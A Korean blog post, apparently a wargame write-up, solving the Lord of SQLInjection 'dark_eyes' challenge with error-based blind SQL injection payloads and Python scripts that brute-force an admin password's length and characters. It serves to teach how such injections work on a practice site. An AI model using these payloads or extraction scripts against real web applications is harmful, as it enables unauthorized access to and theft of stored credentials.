Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 dark_eyes문제에 대해 다루겠다.

 


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

dark_eyes

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), col, if, cast, when, sleep, benchmark를 필터링하고 있다는 것과 "Hello {id}"와 같이 쿼리의 참과 거짓을 알려주는 문구를 출력해주지 않다는 것을 알 수 있다.

또한 pw의 값을 알아내야만 문제를 해결할 수 있는 것으로 보인다.

## 문제 풀이 :

참과 거짓을 구분해주는 문구가 사라졌지만 mysqli_error() 함수를 통해 우리가 입력한 쿼리가 참을 반환했는지, 거짓을 반환했는지를 알 수 있다.

### 사용할 공격문 : pw=' or (select 1 union select 1) %23

### 실행 결과 :

1차 시도

위와 같이 select문을 이용해서 공격을 실행하면 된다. union은 2개의 select문을 연결할 때 쓰이는 sql문법이다. 여기서는 똑같은 값인 1을 select하겠다는 의미이다. 그러면 만약 select할 값이 서로 다르면 어떤 결과가 나오는지 확인해보겠다.

### 사용할 공격문 : pw=' or (select 1 union select 2) %23

### 실행 결과 :

2차 시도

공백 화면이 뜬 것을 확인할 수 있다. 즉 오류가 발생했다는 것이다. 여기서는 아마 이전 문제에 나타났던 "Subquery returns more than 1 row" 에러인 것 같다.

 

그러면 이러한 원리를 활용해서 공격을 실행해보겠다.

### 사용할 공격문 : pw=' or id='admin' and (select 1 union select length(pw) >7) %23

### 실행 결과 : 

1차 시도

2번째 select문의 반환값이 1(참)이므로 문제 화면이 출력된 것을 확인할 수 있다. 즉 비밀번호의 길이가 7보다 크다는 것을 알 수 있다.

 

실제 테스트해본 결과, 비밀번호의 길이가 8이므로 8로 공격을 해보겠다.

### 사용할 공격문 : pw=' or id='admin' and (select 1 union select length(pw) >8) %23

### 실행 결과 :

length(pw) = 8

공백 화면인 것을 보니 비밀번호의 길이가 8인 것을 확인할 수 있다.

 

그러나 실제 비밀번호의 경우 길이가 엄청 클 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 :

import requests

url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값

pw_len = 0  # 비밀번호 길이 초기화
while 1:  # while문 실행
    pw_len += 1  # 비밀번호 길이 + 1
    query = f"' or id='admin' and (select 1 union select length(pw) > {pw_len})#" # 쿼리문 작성
    params = {'pw': query}  # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies)  # 요청
    if "query" not in response.text:  # query가 응답에 있다면, 즉 False를 반환한다면
        print("[-] Password's length : ", pw_len)  # 비밀번호 길이 출력
        break  # while문 종료

### 실행 결과 :

실행 결과 (비밀번호 길이)

이어서 각 비밀번호가 어떤 값인지 알아내도록 하겠다.

### 사용할 공격문 : pw=' or id='admin' and (select 1 union select ascii(substr(pw, 1, 1)) > 52) %23

### 실행 결과 :

pw의 첫번째 자리의 아스키 코드가 52(4)보다 크다는 것을 알 수 있다.

 

실제로 테스트해본 결과 첫번째 비밀번호의 아스키 코드가 53(5)이므로 53로 다시 공격해보겠다.

### 사용할 공격문 : pw=' or id='admin' and (select 1 union select ascii(substr(pw, 1, 1)) > 53) %23

### 실행 결과 :

pw[0] = '5'

이를 똑같이 파이썬 코드로 구현하면 다음과 같다.

### 공격 코드 :

def search_pw(pw_len): # 비밀번호 찾기 함수
    pw = '' # 비밀번호 초기화
    for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
        print("Round ", i) # 몇 번째 Round인지 출력
        for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
            query = f"' or id='admin' and (select 1 union select ascii(substr(pw, {i}, 1)) > {ch})#" # 쿼리문 작성
            params = {'pw': query} # 파라미터 삽입
            response = requests.get(url, params=params, cookies=cookies) # 응답 받기
            if "query" not in response.text:  # query가 응답에 있다면, 즉 False를 반환한다면
                pw += chr(ch) # pw에 아스키 코드를 변환하여 저장
                print("password : ", pw) # 값 출력
                break # 종료

    return pw # 비밀 번호 반환

### 실행 결과 :

실행 결과 (비밀번호)

### 최종 공격문 : pw=5a2f5d3c

### 실행 결과 :

공격 성공

## 추가 해석 :

쿼리문 : pw=' or id='admin' and (select 1 union select ascii(substr(pw, 1, 1)) > 53) %23

두 select문의 반환값이 서로 다르면 오류가 발생한다는 점을 이용해서 하나는 1(참), 나머지 하나는 우리가 검증하고자 하는 조건을 넣어서 공격하면 된다. 즉 우리가 넣은 조건이 1(참)을 반환한다면 정상출력, 0(거짓)을 반환한다면 공백 화면이 출력된다.

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!